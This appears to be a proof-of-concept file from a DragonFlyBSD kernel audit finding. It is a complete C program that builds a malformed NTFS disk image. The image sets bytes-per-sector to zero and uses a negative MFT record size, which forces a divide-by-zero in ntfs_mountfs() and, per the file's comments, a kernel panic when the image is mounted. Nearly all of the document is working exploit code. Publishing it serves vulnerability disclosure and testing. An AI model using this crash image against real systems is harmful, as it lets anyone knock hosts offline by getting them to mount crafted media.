DragonFlyBSD Kernel Audit
DF-0872 / craft_ntfs.c
← back to finding ↓ download raw
/*
 * DF-0872 trigger: crafted NTFS boot sector that drives a divide-by-zero
 * in ntfs_mountfs() at sys/vfs/ntfs/ntfs_vfsops.c:354
 *
 *     int8_t cpr = ntmp->ntm_mftrecsz;       // bf_mftrecsz byte at offset 0x40
 *     if( cpr > 0 )
 *         ntmp->ntm_bpmftrec = ntmp->ntm_spc * cpr;
 *     else
 *         ntmp->ntm_bpmftrec = (1 << (-cpr)) / ntmp->ntm_bps;   // bps==0 => #DE
 *
 * We craft a boot sector that:
 *   - passes the strncmp(ntm_bootfile.bf_sysid, "NTFS    ", 8) guard at :343
 *   - sets bf_bps (bytes-per-sector, u16 @ offset 0x0B) = 0     <-- divisor
 *   - sets bf_mftrecsz (u8 @ offset 0x40) = 0xF6 (signed -10)   <-- forces else branch
 *
 * => ntfs_mountfs reaches the division by zero and the CPU traps #DE
 *    => non-resumable kernel trap => panic.
 *
 * Usage:  ./craft_ntfs image.bin
 * The image is sized to 1 MB so vnconfig accepts it as a disk.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define IMG_SIZE   (1024 * 1024)          /* 1 MB - plenty for a boot-sector probe */
#define OFF_SYSID  0x03
#define OFF_BPS    0x0B
#define OFF_SPC    0x0D
#define OFF_MEDIA  0x15
#define OFF_SPV    0x28
#define OFF_MFTCN  0x30
#define OFF_MFTMIR 0x38
#define OFF_MFTREC 0x40
#define OFF_BOOTSIG 0x1FE

int main(int argc, char **argv)
{
    const char *out = (argc > 1) ? argv[1] : "ntfs_crafted.img";
    uint8_t *img;
    FILE *f;

    img = calloc(1, IMG_SIZE);
    if (!img) { perror("calloc"); return 1; }

    /* jmp near + nop boot jump (cosmetic) */
    img[0] = 0xEB; img[1] = 0x52; img[2] = 0x90;

    /* OEM id "NTFS    " (8 bytes incl. trailing spaces) - passes the :343 strncmp */
    memcpy(img + OFF_SYSID, "NTFS    ", 8);

    /* bytes-per-sector = 0  ==> divide-by-zero divisor at ntfs_vfsops.c:354 */
    img[OFF_BPS]     = 0x00;
    img[OFF_BPS + 1] = 0x00;

    /* sectors-per-cluster = 8 (harmless, irrelevant since else-branch taken) */
    img[OFF_SPC] = 8;

    /* media descriptor */
    img[OFF_MEDIA] = 0xF8;

    /* sectors-per-volume (u64 LE) - non-zero, just to look plausible */
    uint64_t spv = 0x0000FFFFFUL;
    memcpy(img + OFF_SPV, &spv, 8);

    /* $MFT cluster number and $MFTMirr cluster number - non-zero */
    uint64_t mftcn  = 0x04ULL, mftmir = 0x08ULL;
    memcpy(img + OFF_MFTCN,  &mftcn,  8);
    memcpy(img + OFF_MFTMIR, &mftmir, 8);

    /*
     * MFT record size byte.
     * 0xF6 is the canonical "1 << 10 bytes per MFT record" value on real NTFS,
     * interpreted as int8_t == -10 here, which forces the else-branch:
     *   ntm_bpmftrec = (1 << 10) / ntm_bps  ==  1024 / 0  => #DE
     */
    img[OFF_MFTREC] = 0xF6;

    /* boot-sector signature 0x55 0xAA at offset 0x1FE */
    img[OFF_BOOTSIG]     = 0x55;
    img[OFF_BOOTSIG + 1] = 0xAA;

    f = fopen(out, "wb");
    if (!f) { perror("fopen"); free(img); return 1; }
    if (fwrite(img, 1, IMG_SIZE, f) != IMG_SIZE) {
        perror("fwrite"); fclose(f); free(img); return 1;
    }
    fclose(f);
    free(img);

    printf("[+] crafted %s  (bf_bps=0, bf_mftrecsz=0xF6 -> div#0 at ntfs_vfsops.c:354)\n", out);
    return 0;
}